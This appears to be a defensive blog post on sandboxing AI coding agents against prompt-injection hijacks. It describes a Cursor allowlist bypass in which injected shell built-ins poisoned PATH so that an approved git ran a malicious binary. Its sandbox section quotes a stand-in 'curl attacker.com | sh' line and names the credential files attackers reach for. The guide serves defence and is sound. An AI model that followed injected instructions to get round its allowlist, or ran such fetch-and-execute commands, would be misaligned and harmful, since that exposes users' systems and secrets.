If you read the analysis of why agent allowlists keep failing, you already have the diagnosis: a list of approved command names is not a security boundary. This is the prescription — the concrete config that contains a hijack, with commands you can paste.
The one thing to keep in your head: the boundary is the environment a command runs in, not the string you inspected. CVE-2026-22708 is the proof. In Cursor's Auto-Run mode, shell built-ins like export and declare ran without appearing in the allowlist and without approval, letting an injected instruction poison PATH so that an approved git resolved to a malicious binary (Pillar Security). The allowlist did its job. The job was the wrong one.
Fix it in four layers. Ship all four; each backstops the next.
1. Patch the tool — but don't trust it as the boundary#
Update Cursor to 2.3 or later. The fix treats shell built-ins as executable and requires explicit approval for any command its server-side parser cannot classify (advisory; affected <= 2.2 per NVD).
# Verify you're on a fixed build
cursor --version # must be >= 2.3
That closes this bypass. It does not make an auto-run allowlist safe — it just moves the goalposts to the next parser gap. Everything below assumes the tool will eventually be bypassed again.
2. Take the raw shell away from the model#
The cheapest structural win: don't expose a general shell as a tool at all. Expose narrow, typed tools whose arguments you construct, so the model picks an operation, never a command string. Instead of run_shell(cmd), give it:
{
"name": "run_tests",
"description": "Run the project test suite. No arguments are model-controlled.",
"input_schema": { "type": "object", "properties": {}, "additionalProperties": false }
}
When you must shell out, resolve the binary by absolute path and pass arguments as an argv array — never interpolate model text into a shell string:
import subprocess
# Good: no shell, absolute binary, argv list — no PATH lookup, no metachars
subprocess.run(["/usr/bin/git", "status", "--porcelain"], shell=False, check=True)
3. Launch the shell with a stripped, pinned environment#
If a shell is unavoidable, strip the inherited environment and pin PATH so there is nothing to poison. env -i clears everything; you then set only what you need:
# Empty environment, absolute PATH, minimal HOME — injected export/alias/declare
# have nothing to hijack, and lookups can't be redirected.
env -i \
PATH=/usr/local/bin:/usr/bin \
HOME=/home/agent \
/bin/sh
An approved git is only safe if git can't be redirected. Pin the PATH and the approval starts meaning something again.
4. Run tool execution in a real sandbox#
The container is where a breakout should land in an empty, offline room. A default docker run is not that — it shares the network, can reach cloud metadata, and often runs as root. These flags are the difference (a container is not automatically a sandbox):
docker run --rm -it \
--network none \ # no egress: exfil and payload pulls fail
--read-only \ # immutable root filesystem
--tmpfs /tmp:rw,noexec,nosuid,size=64m \# writable scratch, non-executable
--cap-drop=ALL \ # drop every Linux capability
--security-opt=no-new-privileges \ # setuid can't escalate
--user 10001:10001 \ # non-root
--pids-limit=256 --memory=1g \ # blast-radius limits
agent-sandbox:pinned \
env -i PATH=/usr/local/bin:/usr/bin /bin/sh
Flag by flag: --network none means an injected curl attacker.com | sh can't fetch anything and stolen data can't leave — the execution-layer cousin of Simon Willison's lethal trifecta. --read-only plus a noexec tmpfs means the agent can't drop a binary and run it. --cap-drop=ALL and --security-opt=no-new-privileges kill the usual escalation paths. A non-root --user means even a mount mistake isn't root on the host.
5. Never hand the sandbox your credentials#
--network none blocks the cloud metadata endpoint (169.254.169.254) outright. Keep it that way, and make sure you aren't undoing it: don't mount ~/.aws, ~/.config/gcloud, or ~/.kube into the container, and don't pass secrets with -e. Inject only the one short-lived, least-privilege token a task truly needs, at run time:
# Bad — hands the agent your whole cloud identity:
# docker run -v ~/.aws:/root/.aws:ro ...
# Good — one scoped, expiring token, nothing else:
docker run --rm --network none \
-e TASK_TOKEN="$(vault read -field=token secret/agent/scoped-ttl-5m)" \
agent-sandbox:pinned run_tests
6. Gate the irreversible behind a human#
Sandboxing shrinks what a hijack can do; a human gate covers what must sometimes leave the box. Anything irreversible — git push, terraform destroy, a payment, an outbound email — routes to explicit approval, not an allowlist. Microsoft's guidance after the Semantic Kernel RCEs is blunt: your LLM is not a security boundary. Treat every model-derived action as untrusted, and put the boundary in the environment you control.
For running genuinely untrusted agent code beyond a local container, the same principles scale to a managed sandbox like E2B — the flags change, the four layers don't.



